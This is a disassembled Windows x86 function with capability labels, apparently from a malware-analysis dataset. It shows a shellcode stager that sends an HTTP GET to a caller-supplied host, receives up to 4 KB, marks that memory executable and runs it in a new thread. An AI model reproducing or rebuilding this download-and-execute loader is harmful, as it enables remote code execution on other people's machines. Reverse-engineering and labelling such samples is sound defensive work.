Function at 0x401460
Capabilities:
Connect socket
Create thread
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push edi
push ebx
mov eax, 0x1310
call fcn.00402590
sub esp, eax
mov eax, esp
mov ebx, eax
mov dword [ebp - 0x14], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
add eax, 1
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], 0x64
mov dword [ebp - 0x20], 0
mov eax, dword [ebp - 0x1c]
sub eax, 1
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x1c]
add eax, eax
lea edx, [eax + 1]
mov eax, 0x10
sub eax, 1
add eax, edx
mov edi, 0x10
mov edx, 0
div edi
imul eax, eax, 0x10
call fcn.00402590
sub esp, eax
lea eax, [esp + 0x18]
add eax, 1
shr eax, 1
add eax, eax
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov edx, dword [ebp - 0x18]
mov dword [esp + 8], edx
mov edx, dword [ebp + 8]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._mbstowcs
mov dword [ebp - 0xc], 0xffffffff
mov dword [ebp - 0x1cc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x2f0], 0
lea edx, [ebp - 0x2ec]
mov eax, 0
mov ecx, 0x40
mov edi, edx
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x2f0]
mov ecx, 0xffffffff
mov edx, eax
mov eax, 0
mov edi, edx
repne scasb al, byte es:[edi]
mov eax, ecx
not eax
lea edx, [eax - 1]
lea eax, [ebp - 0x2f0]
add eax, edx
mov dword [eax], 0x20544547
mov word [eax + 4], 0x2f
mov eax, dword [ebp + 0x10]
mov dword [esp + 4], eax
lea eax, [ebp - 0x2f0]
mov dword [esp], eax
call sym._strcat
mov dword [esp + 8], 0x1000
mov dword [esp + 4], 0
lea eax, [ebp - 0x12f0]
mov dword [esp], eax
call sym._memset
mov dword [ebp - 0x2c], 0x1000
lea eax, [ebp - 0x1c8]
mov dword [esp + 4], eax
mov dword [esp], 0x202
call sym._WSAStartup_8
sub esp, 8
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
je 0x4015c0
mov eax, 0xffffffff
jmp 0x401954
mov dword [esp + 8], 0x20
mov dword [esp + 4], 0
lea eax, [ebp - 0x1ec]
mov dword [esp], eax
call sym._memset
mov dword [ebp - 0x1e8], 2
mov dword [ebp - 0x1e4], 1
mov dword [ebp - 0x1e0], 6
lea eax, [ebp - 0x1cc]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x1ec]
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._getaddrinfo_16
sub esp, 0x10
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
je 0x40163d
call sym._WSACleanup_0
mov eax, 0xffffffff
jmp 0x401954
mov eax, dword [ebp - 0x1cc]
mov dword [ebp - 0x10], eax
jmp 0x4016d3
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax + 0xc]
mov eax, dword [ebp - 0x10]
mov edx, dword [eax + 8]
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 4]
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._socket_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x401688
call sym._WSACleanup_0
mov eax, 0xffffffff
jmp 0x401954
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x10]
mov edx, eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x18]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._connect_12
sub esp, 0xc
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0xffffffff
jne 0x4016df
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._closesocket_4
sub esp, 4
mov dword [ebp - 0xc], 0xffffffff
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x1c]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x40164b
jmp 0x4016e0
nop
mov eax, dword [ebp - 0x1cc]
mov dword [esp], eax
call sym._freeaddrinfo_4
sub esp, 4
cmp dword [ebp - 0xc], 0xffffffff
jne 0x401712
mov dword [esp], str.Unable_to_connect_to_server_
call sym._puts
call sym._WSACleanup_0
mov eax, 0xffffffff
jmp 0x401954
lea eax, [ebp - 0x2f0]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
lea eax, [ebp - 0x2f0]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._send_16
sub esp, 0x10
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0xffffffff
jne 0x40176a
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._closesocket_4
sub esp, 4
call sym._WSACleanup_0
mov eax, 0xffffffff
jmp 0x401954
mov dword [esp + 4], 1
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._shutdown_8
sub esp, 8
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0xffffffff
jne 0x4017a6
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._closesocket_4
sub esp, 4
call sym._WSACleanup_0
mov eax, 0xffffffff
jmp 0x401954
mov dword [esp + 0xc], 0
mov eax, dword [ebp - 0x2c]
mov dword [esp + 8], eax
lea eax, [ebp - 0x12f0]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._recv_16
sub esp, 0x10
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
jle 0x4017eb
mov eax, dword [ebp - 0x30]
mov dword [esp + 4], eax
mov dword [esp], str.___Received__d_Bytes_n
call sym._printf
jmp 0x401814
cmp dword [ebp - 0x30], 0
jne 0x4017ff
mov dword [esp], str.___Connection_closed
call sym._puts
jmp 0x401814
call sym._WSAGetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str.recv_failed_with_error:__d_n
call sym._printf
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0x3000
mov dword [esp + 4], 0x1000
mov dword [esp], 0
call sym._VirtualAlloc_16
sub esp, 0x10
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
jne 0x401863
call sym._GetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str.Failed_to_Allocate_memory___u__n
call sym._printf
mov eax, 0xffffffff
jmp 0x401954
mov dword [esp + 8], 0x1000
lea eax, [ebp - 0x12f0]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x34]
mov dword [esp], eax
call sym._memmove
lea eax, [ebp - 0x12f4]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x20
mov dword [esp + 4], 0x1000
mov eax, dword [ebp - 0x34]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
test eax, eax
jne 0x4018cb
call sym._GetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str.Failed_to_change_memory_protection___u__n
call sym._printf
mov eax, 0xfffffffe
jmp 0x401954
mov eax, dword [ebp - 0x34]
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0
call sym._CreateThread_24
sub esp, 0x18
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
jne 0x401926
call sym._GetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str.Failed_to_Create_the_thread___u__n
call sym._printf
mov eax, 0xfffffffd
jmp 0x401954
mov eax, dword [ebp - 0x34]
mov dword [esp + 4], eax
mov dword [esp], str._n_nalloc_mem_:__p_n
call sym._printf
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, 0
mov esp, ebx
lea esp, [ebp - 8]
pop ebx
pop edi
pop ebp
ret